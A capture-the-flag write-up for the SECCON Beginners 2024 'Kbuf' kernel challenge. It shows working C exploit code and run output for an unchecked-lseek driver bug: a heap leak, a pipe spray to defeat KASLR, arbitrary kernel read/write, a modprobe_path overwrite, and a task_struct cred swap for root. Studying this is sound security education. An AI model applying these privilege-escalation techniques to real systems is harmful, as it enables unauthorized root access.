Unchecked lseek to arbitrary kernel read and write

Kbuf is a Linux kernel exploitation challenge from SECCON Beginners CTF 2024. The module is tiny: every open() allocates a 0x800-byte buffer, and the device exposes read, write, and lseek handlers.

I initially tried to turn two file descriptors into a use-after-free primitive, but each open() owns a different allocation, and closing a descriptor makes that descriptor unusable. The useful bug is simpler: the driver trusts f_pos without checking whether it still points inside the 0x800-byte object.

The chain reached was:

unchecked read at offset 0
        |
        v
stale SLUB next pointer at +0x400 (half of 0x800)
        |
        v
address of fd2->private_data
        |
        v
resize and fill pipes so pipe_buffer[] uses kmalloc-2k
        |
        v
fd1 + 0x1000 reaches an adjacent pipe ring
        |
        v
leak anon_pipe_buf_ops at pipe_buffer + 0x10
        |
        v
calculate the KASLR base
        |
        v
known private_data + attacker-controlled f_pos
        |
        v
direct kernel read/write primitive
        |
        v
overwrite modprobe_path with /tmp/x
        |
        v
trigger the helper and print the flag

The final PoC overwrites modprobe_path, triggers the kernel helper with an invalid executable, and prints the flag from /tmp/flag.

If this is your first time looking at SLUB objects, my earlier Linux kernel heap overflow write-up covers the allocator terminology and basic slab layout.

Challenge setup

The supplied Qemu runs Linux 6.8.7 with KASLR, SMEP, SMAP, and PTI enabled:

console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr
-cpu qemu64,+smap,+smep

The module creates this cache:

#define MEMO_SIZE 0x800

kbuf_cache = kmem_cache_create(
    "kbuf_cache",
    MEMO_SIZE,
    0,
    SLAB_HWCACHE_ALIGN,
    NULL
);

GEF showed the relevant runtime layout as 0x800-byte kmalloc-2k chunks, with the freelist pointer stored at object offset 0x400:

object size:                    0x800
chunk size:                     0x800
freelist pointer inside chunk:  0x400

That +0x400 offset becomes the first leak.

The driver bug

Every open() allocates one object and stores it in the new file's private_data:

static int module_open(struct inode *inode, struct file *filp) {
  filp->private_data = kmem_cache_alloc(kbuf_cache, GFP_KERNEL);
  return filp->private_data ? 0 : -ENOMEM;
}

Two independent calls therefore produce two file objects and two kernel buffers:

fd1 -> struct file A -> private_data A
fd2 -> struct file B -> private_data B

The read handler never checks size, *pos, or *pos + size against MEMO_SIZE:

static ssize_t module_read(struct file *filp,
                           char __user *buf,
                           size_t size,
                           loff_t *pos) {
  if (copy_to_user(buf, filp->private_data + *pos, size))
    return -EINVAL;

  *pos += size;
  return size;
}

The write handler has the same problem in the other direction:

static ssize_t module_write(struct file *filp,
                            const char __user *buf,
                            size_t size,
                            loff_t *pos) {
  if (copy_from_user(filp->private_data + *pos, buf, size))
    return -EINVAL;

  *pos += size;
  return size;
}

Finally, lseek accepts the requested position without checking its range:

static loff_t module_lseek(struct file *filp,
                           loff_t offset,
                           int orig) {
  loff_t new_pos = 0;

  switch (orig) {
    case 0:
      new_pos = offset;
      break;
    case 1:
      new_pos = filp->f_pos + offset;
      break;
    case 2:
      new_pos = MEMO_SIZE + offset;
      break;
  }

  return filp->f_pos = new_pos;
}

The important expression appears in both data paths:

kernel address used by read/write = filp->private_data + filp->f_pos

Once both values on the right are known or controlled, the 0x800-byte boundary no longer matters.

File offsets are part of the primitive

read() and write() share the same offset in a given struct file. Both handlers advance it by the requested size.

Starting from a fresh descriptor:

operation                  accessed range       f_pos afterward
-------------------------  -------------------  ---------------
write(fd, buf, 0x100)      [0x000, 0x100)       0x100
read(fd, buf, 0x100)       [0x100, 0x200)       0x200
lseek(fd, 0, SEEK_SET)     no memory access      0x000
read(fd, buf, 0x100)       [0x000, 0x100)       0x100

This tripped me up at first. Writing 0x100 bytes and immediately reading does not read those bytes back. The read starts at +0x100. lseek() changes the cursor; the following read or write performs the actual memory access.

Each separate open() gets its own f_pos, so moving fd1 does not move fd2.

Leaking the next SLUB object

A SLUB freelist can be pictured as:

freelist head
    |
    v
object A --next--> object B --next--> object C
           +0x400             +0x400

Allocation removes the head but does not clear the old next pointer:

open fd1 returns A
freelist head -> B -> C
A + 0x400 still contains B

open fd2 returns B
freelist head -> C
A + 0x400 still contains B

The PoC opens twice, writes a small tag into fd2, and reads the untouched first object:

int fd1 = open(DEV, O_RDWR);
int fd2 = open(DEV, O_RDWR);

char tag[0x10] = "this_is_fd2";
write(fd2, tag, sizeof(tag));

read(fd1, buf, sizeof(buf));
uint64_t next = *(uint64_t*)&buf[0x400];
dump_buffer(buf, sizeof(buf));
printf("next is: 0x%llx\n", next);

The relevant output was:

Addr[128, 0x400]: 0xffff88800257b000 - 0x0000000000000000
next is: 0xffff88800257b000

The result is a direct-map heap pointer. In this allocation order it is the stale next pointer from object A, and object B was returned by the second open():

fd1->private_data = A
fd2->private_data = B = 0xffff88800257b000

This is a heap address leak, not a kernel-text leak. A 0xffff888... address tells me where an allocation lives in the direct map. It does not by itself reveal the randomized 0xffffffff... kernel image.

The current PoC writes the this_is_fd2 tag but does not read it back. For a less assumption-heavy exploit, I would verify that fd1 + 0x800 contains the tag before using the leaked value as fd2->private_data.

Making pipe_buffer land in kmalloc-2k

The next missing value is a pointer into the randomized kernel image. An initialized anonymous pipe_buffer contains one at offset +0x10:

struct pipe_buffer {
    struct page *page;                       // +0x00
    unsigned int offset;                     // +0x08
    unsigned int len;                        // +0x0c
    const struct pipe_buf_operations *ops;   // +0x10
    unsigned int flags;                      // +0x18
    unsigned long private;                   // +0x20
};                                           // 0x28 bytes

I used F_SETPIPE_SZ to make the ring allocation fit a 0x800-byte SLUB chunk. The capacity passed to F_SETPIPE_SZ is pipe data capacity, not the allocation size of the metadata array.

The calculation is:

requested pipe capacity = 0x800 * 0x40 = 0x20000 bytes
pipe pages             = 0x20000 / 0x1000 = 32
pipe_buffer array      = 32 * 0x28 = 0x500 bytes
SLUB cache used        = kmalloc-2k, chunk size 0x800

The current spray is:

#define PAGESZ 0x1000
#define TARGET_SZ 0x800
#define MAX_PIPES 0x400

char marker[PAGESZ] = {0};
int pipes[MAX_PIPES][2];

for (int i = 0; i < MAX_PIPES/2; i++) {
  pipe(pipes[i]);
  fcntl(pipes[i][0], F_SETPIPE_SZ, TARGET_SZ * 0x40);
  *((uint64_t*)&marker) = i;
  write(pipes[i][1], &marker, PAGESZ);
}

Writing one page initializes the first ring entry. The page data contains the marker, while the ring metadata contains the page, len, ops, and flags fields I want to leak.

Reading the sprayed pipe ring

After the initial 0x800-byte read, fd1.f_pos is already 0x800. I explicitly seek to 0x1000, skipping both driver buffers and reading the next 0x800-byte object:

lseek(fd1, 0x1000, SEEK_SET);
read(fd1, buf, sizeof(buf));
dump_buffer(buf, sizeof(buf));

The observed memory map is:

A = fd1->private_data
B = fd2->private_data

A + 0x000  [ fd1 kbuf object     ]
A + 0x800  [ fd2 kbuf object     ] = B
A + 0x1000 [ pipe_buffer[] spray ] = B + 0x800

The first 0x20 bytes were:

+0x00  0xffffea00000f92c0
+0x08  0x0000100000000000
+0x10  0xffffffff81c1b080
+0x18  0x0000000000000010

They decode cleanly as one anonymous pipe buffer:

OffsetValueMeaning
+0x000xffffea00000f92c0struct page *
+0x080x0000100000000000offset = 0, len = 0x1000
+0x100xffffffff81c1b080anon_pipe_buf_ops
+0x180x10Pipe-buffer flags

Pipes are only the leak object here. I am not doing a Dirty Pipe page-cache overwrite. For that separate technique, see Through the Wall: a kernel UAF turned into a Dirty Pipe-style write.

Calculating the KASLR base

The leaked operations pointer is:

anon_pipe_buf_ops = 0xffffffff81c1b080

For this exact challenge kernel, its offset from the image base is 0xc1b080. The PoC calculates:

uint64_t kbase = *(uint64_t*)&buf[0x10] - 0xc1b080;
printf("kbase = 0x%llx\n", kbase);

The result was:

kbase = 0xffffffff81000000

At this point the two address problems are solved:

known heap base:    fd2->private_data = 0xffff88800257b000
known image base:   kernel base       = 0xffffffff81000000

Turning lseek into arbitrary kernel read/write

The tempting route here is to close fd2, corrupt the freed object's next pointer, and perform SLUB freelist poisoning. That works as a general exploitation pattern, and I used it in K-Revenge: kernel UAF and freelist poisoning. It is unnecessary for Kbuf.

The missing bounds checks in the driver's lseek, read, and write handlers already provide a stronger primitive. The important detail is that lseek() does not move a pointer inside the allocated object. It changes filp->f_pos, the position stored in the struct file belonging to fd2:

static loff_t module_lseek(struct file *filp, loff_t offset, int orig) {
  // SEEK_SET
  new_pos = offset;
  return filp->f_pos = new_pos;
}

The next read() or write() receives that position through *pos. Both handlers add it directly to private_data without checking whether the result remains inside the 0x800-byte allocation:

copy_to_user(buf, filp->private_data + *pos, size);      // read
copy_from_user(filp->private_data + *pos, buf, size);    // write

That gives the following address calculation:

                    fd2.f_pos
                        │
                        ▼
fd2->private_data + attacker-controlled offset = address accessed
0xffff88800257b000 + 0x0000777f7fb3dd80 = 0xffffffff820b8d80
└──── leaked base ────┘   └── set by lseek ──┘   └──── target ────┘

This is initially a relative read/write primitive: I control the offset, but the driver adds it to an unknown heap pointer. The stale freelist-pointer leak turns it into an absolute primitive because it reveals the exact value of fd2->private_data.

For a known target, I subtract the leaked base from the target address:

target = kernel_base + symbol_offset
delta  = target - leaked_private_data

leaked_private_data + delta = target

Then SEEK_SET installs that delta as the file position. The next operation becomes either:

read(fd2, ...)   -> copy_to_user(..., target, size)   -> kernel read
write(fd2, ...)  -> copy_from_user(target, ..., size) -> kernel write

The exploit performs the calculation like this:

uint64_t modprobe_path = kbase + 0x010b8d80;
printf("modprobe_path = 0x%llx\n", modprobe_path);

off_t space = (off_t)(modprobe_path - next);
printf("offset is 0x%llx\n", space);

For the successful run:

fd2 private_data = 0xffff88800257b000
modprobe_path     = 0xffffffff820b8d80
space             = 0x0000777f7fb3dd80

0xffff88800257b000 + 0x777f7fb3dd80
    = 0xffffffff820b8d80

So lseek() is the address-selection step, not the memory-corruption step. The vulnerable read() or write() performs the actual access. This primitive also has a practical constraint: the required delta must be accepted as an off_t. Here the target is above the leaked heap address, so the delta is positive and works directly.

One more detail matters when using the primitive repeatedly: a successful read() or write() increments f_pos by size. Seeking once, reading 0x20 bytes, and then writing would place the write 0x20 bytes after the intended target. I therefore seek back to the calculated delta before every independent access.

Verifying and overwriting modprobe_path

Before writing, the exploit reads the target and checks what is there:

char oldpath[0x20] = {0};
char newpath[] = "/tmp/x\x00";

assert(lseek(fd2, space, SEEK_SET) != (off_t)-1);
assert(read(fd2, oldpath, sizeof(oldpath) - 1) > 0);
printf("old modprobe_path: %s\n", oldpath);

The output is /sbin/modprobe. That validates the kernel base, modprobe_path offset, leaked fd2 address, and subtraction before corrupting anything.

The verification read advances fd2.f_pos by 0x1f bytes, so the exploit seeks back to the same absolute offset before writing:

assert(lseek(fd2, space, SEEK_SET) != (off_t)-1);
assert(write(fd2, newpath, sizeof(newpath) - 1) > 0);

newpath contains an explicit NUL and sizeof(newpath) - 1 writes exactly /tmp/x\0. Inside the driver, that call becomes:

copy_from_user(fd2->private_data + space, "/tmp/x\0", 7)
copy_from_user(modprobe_path,              "/tmp/x\0", 7)

The helper-script setup and module-request mechanism are explained separately in Overwriting modprobe_path for Linux kernel exploitation. This exploit creates /tmp/x and an invalid executable in setup():

void setup(){
  FILE *f = fopen("/tmp/x", "w");
  fprintf(f, "#!/bin/sh\n");
  fprintf(f, "echo 'cat /dev/sda > /tmp/flag' >> /tmp/x\n");
  fprintf(f, "cat /tmp/flag");
  fclose(f);
  chmod("/tmp/x", 0755);

  f = fopen("/tmp/execthis", "wb");
  char magic[] = {0xff, 0xff, 0xff, 0xff};
  fwrite(magic, 1, 4, f);
  fclose(f);
  chmod("/tmp/execthis", 0755);
}

The helper is a slightly odd self-appending script, but this is the code in the working exp.c. After changing modprobe_path, the exploit executes the invalid file and prints the captured flag:

system("/tmp/execthis");
system("cat /tmp/flag");

The successful run was:

FD limit: 4096
next is: 0xffff88800257b000
kbase = 0xffffffff81000000
modprobe_path = 0xffffffff820b8d80
offset is 0x777f7fb3dd80
old modprobe_path: /sbin/modprobe
/tmp/execthis: line 1: ????: not found
ctf4b{*** REDACTED ***}

Successful Kbuf exploit

The distinction from freelist poisoning is worth keeping straight:

freelist poisoning:
    allocator metadata receives an 8-byte target address
    a later allocation is redirected to that address

Kbuf's direct lseek primitive:
    live fd2 remains open
    f_pos selects the target address immediately
    write() places "/tmp/x\0" there

No UAF, fake operations table, ROP chain, or Dirty Pipe page-cache trick is needed.

The author solution: scan task_struct and steal cred

The author took the unchecked file offset even further. My exploit leaks an absolute heap address and a kernel-image pointer before targeting modprobe_path. The author never needs either address. Had a hard time understanding this solution as I've never done it this way so trying to explain it as good as possible: The reason is easy to miss: offsets passed to this driver are already relative to filp->private_data.

read source = kbuf private_data + f_pos

The author gives the attacking process a known eight-byte comm value and creates children on both sides of the kbuf allocation:

#define MY_NAME "SECCON!!"
#define N_SPRAY 10

prctl(PR_SET_NAME, MY_NAME, 0, 0, 0);

spray_n_task(N_SPRAY);

int fd = open("/dev/kbuf", O_RDWR);
if (fd < 0) fatal("/dev/kbuf");

spray_n_task(N_SPRAY);

The children inherit the SECCON!! task name. They wait on a lock file, which keeps the sprayed tasks alive while the parent scans memory:

void spray_n_task(size_t n) {
  for (size_t i = 0; i < n; i++) {
    if (fork() == 0) {
      while (access(LOCK_PATH, O_RDONLY) == 0) {
        sleep(1);
      }

      if (getuid() == 0) {
        puts("[+] I got rooted!");
        system("/bin/sh");
      }

      exit(0);
    }
  }
}

Finding task_struct by its comm field

The scanner moves forward in 0x1000-byte steps. Every read() is out-of-bounds because the original allocation is only 0x800 bytes:

void find_task_struct(int fd, size_t magic, size_t *ptask, size_t *pcred) {
  char buf[0x1000];

  size_t offset;
  for (offset = 0; ; offset += sizeof(buf)) {
    lseek(fd, offset, SEEK_SET);
    if (read(fd, buf, sizeof(buf)) != sizeof(buf)) continue;

    for (size_t j = 0; j < sizeof(buf); j += 0x10) {
      if (*(size_t*)(buf + j) == magic) {
        if (ptask) *ptask = offset + j - 0x5e0;
        if (pcred) *pcred = *(size_t*)(buf + j - 0x10);
        return;
      }
    }
  }
}

For this kernel's task_struct layout:

task_struct + 0x5d0  real_cred
task_struct + 0x5d8  cred
task_struct + 0x5e0  comm[16]

When the scanner finds SECCON!! at offset + j, it subtracts 0x5e0:

my_task = offset + j - 0x5e0

my_task is not an absolute kernel pointer. It is the displacement from fd->private_data to the discovered task_struct. That is exactly the unit expected by the vulnerable llseek handler.

The author then searches for a root-owned task whose comm begins with S99ctf:

#define ROOT_NAME "S99ctf\0\0"

find_task_struct(fd, *(size_t*)MY_NAME, &my_task, NULL);
find_task_struct(fd, *(size_t*)ROOT_NAME, &root_task, &root_cred);

At a matching comm, buf + j - 0x10 is task_struct + 0x5d0, the root task's real_cred pointer. Unlike my_task, root_cred is an actual kernel address read from memory. The author checks its high bits before using it:

if ((root_cred >> 48) != 0xffff) {
  puts("[-] Bad luck!");
  exit(1);
}

Replacing both credential pointers

The final write is only 16 bytes:

lseek(fd, my_task + 0x5d0, SEEK_SET);
write(fd, &root_cred, sizeof(root_cred)); // real_cred
write(fd, &root_cred, sizeof(root_cred)); // cred

The first write places the root pointer at real_cred and advances f_pos by eight. The second write therefore lands on cred automatically:

f_pos = my_task + 0x5d0
    write root_cred -> task_struct.real_cred

f_pos = my_task + 0x5d8
    write root_cred -> task_struct.cred

One of the sprayed children now uses the root credential object. Removing the lock wakes every child, and the modified one sees getuid() == 0 and starts a shell:

puts("[+] Win!");
unlink(LOCK_PATH);

for (int i = 0; i < N_SPRAY * 2; i++) {
  wait(NULL);
}

Comparing both routes

ProblemMy exploitAuthor solution
Find the kbuf addressLeak stale SLUB metadata at +0x400Not needed
Defeat KASLRLeak anon_pipe_buf_opsNot needed
Find a targetCalculate modprobe_path from the image baseScan for known task_struct.comm strings
Gain privilegeChange modprobe_path and trigger /tmp/xPoint real_cred and cred at a root credential object
Heap shaping512 resized pipe rings20 waiting child tasks
Version-specific dataTwo symbol offsetsThree task_struct field offsets and a known root task name

The author solution is shorter because it stays in the driver's relative-offset world. My route first converts that bug into conventional absolute heap and kernel-image leaks. Both end at the same primitive: unchecked f_pos turns a normal device write into a write somewhere else in kernel memory.

References